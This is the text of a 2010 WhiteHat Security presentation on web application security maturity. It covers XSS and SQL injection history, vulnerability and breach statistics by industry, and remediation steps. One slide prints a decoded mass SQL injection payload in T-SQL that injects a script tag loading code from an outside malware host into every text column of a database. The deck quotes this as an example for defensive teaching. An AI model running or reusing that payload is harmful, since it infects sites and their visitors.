Facilitating Application Security Maturity

Jeremiah Grossman
Founder & Chief Technology Officer

© 2010 WhiteHat Security, Inc.
XSS Exploits
CROSS SITE SCRIPTING ATTACKS AND DEFENSE

Your Guide to the Hottest Topic in the Security Community
• Written by the Industry’s Undisputed Authorities on XSS
• Are You Protected? XSS Vulnerabilities Exist in 8 Out of 10 Websites!
• Complete Coverage of Filter-Bypass, Intranet Hacking, Exploit Frameworks, and More

Seth Fogie
Jeremiah Grossman
Robert Hansen
Anton Rager
I'm in ur webz
crossing ur scripz!
Official Title
“the hacker yahoo”
Hack Everything!
WhiteHat Security

- 350+ enterprise customers
  - Start-ups to Fortune 500
- Flagship offering “WhiteHat Sentinel Service”
  - 1000’s of assessments performed annually
- Recognized leader in website security
  - Quoted thousands of times by the mainstream press
MySpace (Samy Worm) - 2005
The first XSS worm
1) Logged-in user views samy’s profile page, embedded JavaScript malware.

2) Malware ads samy as their friend, updates their profile with “samy is my hero”, and copies the malware to their profile.

3) People visiting infected profiles are in turn infected causing exponential growth.
24 hours, 1 million users affected
SQL Injection
Mass SQL Injection (2007)

• Google recon for weak websites (*.asp, *.php)

• Generic SQL Injection populates databases with malicious JavaScript IFRAMEs

• Visitors arrive and their browser auto-connects to a malware server infecting their machine with trojans -- or the website is damaged and can no longer conduct business.

• Botnets form then continue SQL injecting websites

• Infected sites risk becoming blacklisted on search engines and Web filtering gateways causing loss of visitors
Decoded...

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id = b.id and a.xtype = 'u' and (b.xtype = 99 or b.xtype = 35 or b.xtype = 231 or b.xtype = 167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE (@@FETCH_STATUS = 0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''')</title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' where '+@C+'' not like ''%''')FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
THE EXPLOSION OF BOTNETS HAS MANDATED
A NEW WARNING LABEL:

CLICK HERE TO REQUEST EXPLOIT ON PORT 80

UserFriendly.Org
Website Classes of Attacks

**Business Logic: Hands-on Inspection**
- Authentication
  - Brute Force
  - Insufficient Authentication
  - Weak Password Recovery Validation
  - CSRF
- Authorization
  - Credential/Session Prediction
  - Insufficient Authorization
  - Insufficient Session Expiration
  - Session Fixation
- Logical Attacks
  - Abuse of Functionality
  - Denial of Service
  - Insufficient Anti-automation
  - Insufficient Process Validation

**Technical: Automation Can Identify**
- Command Execution
  - Buffer Overflow
  - Format String Attack
  - LDAP Injection
  - OS Commanding
  - SQL Injection
  - SSI Injection
  - XPath Injection
- Information Disclosure
  - Directory Indexing
  - Information Leakage
  - Path Traversal
  - Predictable Resource Location
- Client-Side
  - Content Spoofing
  - Cross-site Scripting
  - HTTP Response Splitting
  - Insecure Content
Attacker Targeting

**Fully Targeted (APT?)**
- Customize their own tools
- Focused on business logic
- Profit or goal driven ($$$)

**Directed Opportunistic**
- Commercial & Open Source Tools
- Authentication scans
- Multi-step processes (forms)

**Random Opportunistic**
- Fully automated scripts
- Unauthenticated scans
- Targets chosen indiscriminately
WhiteHat Sentinel

Complete Website Vulnerability Management

*Customer Controlled & Expert Managed*

- Unique SaaS-based solution – Highly scalable delivery of service at a fixed cost
- Production Safe – No Performance Impact
- Full Coverage – On-going testing for business logic flaws and technical vulnerabilities – uses WASC 24 classes of attacks as reference point
- Unlimited Assessments – Anytime websites change
- Eliminates False Positives – Security Operations Team verifies all vulnerabilities
- Continuous Improvement & Refinement – Ongoing updates and enhancements to underlying technology and processes
Cycle of Maturity

1. Quantity phase
Where more is more.

2. Quality phase
Where less is more.

3. Actionable phase
How do I fix/improve things going forward with this data?

4. Consistency phase
How do I do this consistently across time, because my software is always changing, and without spending a zillion hours doing it?
Data Overview

- 350+ organizations (Start-ups to Fortune listed)
- 2,000+ websites
- 32,000+ verified custom web application vulnerabilities
- Majority of websites assessed multiple times per month
- *Data collected from January 1, 2006 to August 25, 2010*

*Note:* The websites WhiteHat Sentinel assesses likely represent the most “important” and “secure” websites on the Web, owned by organizations that are very serious about their security.
Avg. # of Serious* Vulnerabilities

(Sorted by Industry)

* Serious Vulnerabilities: Those vulnerabilities with a HIGH, CRITICAL, or URGENT severity as defined by PCI-DSS naming conventions. Exploitation could lead to breach or data loss.
Overall Top Vulnerability Classes

(Sorted by Industry & Percentage Likelihood)
# Time-to-Fix

(Sorted by Industry & Performance)

<table>
<thead>
<tr>
<th>Industry</th>
<th>Leaders Top 25%</th>
<th>Above Average Mid 25% - 50%</th>
<th>Laggards Lower 50% - 75%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Overall</td>
<td>5</td>
<td>13</td>
<td>30</td>
</tr>
<tr>
<td>Banking</td>
<td>2</td>
<td>3</td>
<td>13</td>
</tr>
<tr>
<td>Education</td>
<td>5</td>
<td>14</td>
<td>19</td>
</tr>
<tr>
<td>Financial Services</td>
<td>6</td>
<td>11</td>
<td>28</td>
</tr>
<tr>
<td>Healthcare</td>
<td>3</td>
<td>9</td>
<td>22</td>
</tr>
<tr>
<td>Insurance</td>
<td>10</td>
<td>22</td>
<td>39</td>
</tr>
<tr>
<td>IT</td>
<td>5</td>
<td>13</td>
<td>29</td>
</tr>
<tr>
<td>Retail</td>
<td>6</td>
<td>18</td>
<td>40</td>
</tr>
<tr>
<td>Social Networking</td>
<td>3</td>
<td>9</td>
<td>28</td>
</tr>
<tr>
<td>Telecommunications</td>
<td>2</td>
<td>5</td>
<td>25</td>
</tr>
</tbody>
</table>
Remediation Rate

(Percentage of Websites within Remediation Rate Ranges Sorted by Industry)
Why do vulnerabilities go unfixed?

- No one at the organization understands or is responsible for maintaining the code.
- Development group does not understand or respects the vulnerability.
- Feature enhancements are prioritized ahead of security fixes.
- Lack of budget to fix the issues.
- Affected code is owned by an unresponsive third-party vendor.
- Website will be decommissioned or replaced “soon.”
- Risk of exploitation is accepted.
- Solution conflicts with business use case.
- Compliance does not require fixing the issue.
Global Scope of Web Security

220,000,000 sites
(1-3 million additional per month)

1,000,000 sites using SSL
(~7,000,000 vulnerabilities, location unknown)

17,000,000 programmers
(few trained in software security)
Report analyzes over 141 confirmed data breaches from 2009 which resulted in the compromise of 143 million records.

The majority of breaches and almost all of the data stolen in 2009 (95%) were perpetrated by remote organized criminal groups hacking “servers and applications.” That is, hacking Web Servers and Web applications. The attack vector of choice was SQL Injection and used to install customized malware.
Who is doing the hacking?

Internal Agents (48% of breaches, 3% of records)

85% of attacks were not considered highly difficult

61% were discovered by a third party (-8%)
Figure 11. Origin of external agents by percent of breaches within External

- Europe-East (incl. Russia) 21%
- Americas-North 19%
- Asia-East 18%
- Europe-West (incl. Northern and Southern) 10%
- Middle East 5%
- Africa 2%
- Asia-South/Southeast 2%
- Oceania (Australia, New Zealand, etc.) 2%
- Unknown 31%
Figure 10. Percent of compromised records attributed to organized crime

- 85% Organized criminal groups
- 15% Other agents
Figure 27. Categories of compromised assets by percent of breaches and percent of records

- Servers & Applications: 50% / 98%
- End-User Devices: 36% / 2%
- Offline Data: 25% / <1%
- People: 4% / <1%
- Networks & nw Devices: 1% / <1%
Figure 22. Attack pathways by percent of breaches within Hacking and percent of records

- Web application: 54% / 92%
- Remote access and control services/software: 34% / 2%
- Backdoor or control channel: 23% / 5%
- Network file/resource sharing services: 4% / 1%
- Physical access or connection: 2% / <1%
- Wireless network: 2% / <1%
- Unknown: 7% / <1%
Figure 18. Malware infection vectors by percent of breaches within Malware

- Installed/Injected by remote attacker: 51%
- Web/Internet (auto-executed/"drive-by" infection): 19%
- Web/Internet (user-executed or downloaded): 9%
- Coded into existing program/script (i.e., a logic bomb): 8%
- Installed by other malware: 6%
- E-mail: 4%
- Network propagation: 2%
- Unknown: 19%
What is Secure Enough?

86% of victims had evidence of the breach in their log files.
Budget Game

Break the IT budget into the following categories:

**Network**
All resources invested in Cisco, network admins, etc.

**Host**
All resources invested in Unix, Windows, sys admins, etc.

**Applications**
All resources invested in developers, CRM, ERP, etc.
1) Find your websites (all of them)
Locate the websites you are responsible for

2) Valuation & Prioritization
Rank websites based upon *business criticality*

3) Adversaries & Risk Tolerance
Random Opportunistic, Directed Opportunistic, Fully Targeted

4) Measure your current security posture
Vulnerability assessments, pen-tests, traffic monitoring

5) Remediation & Mitigation
SDL, virtual patch, configuration change, decommission, outsource, version roll-back, etc.

What is your organization's tolerance for risk (per website)?
Questions?

I was not in your threat model.

1:53 PM Apr 28th via TweetDeck
Retweeted by 1 person

Jeremiah Grossman

Blog: http://jeremiahgrossman.blogspot.com/
Twitter: http://twitter.com/jeremiahg
Email: jeremiah@whitehatsec.com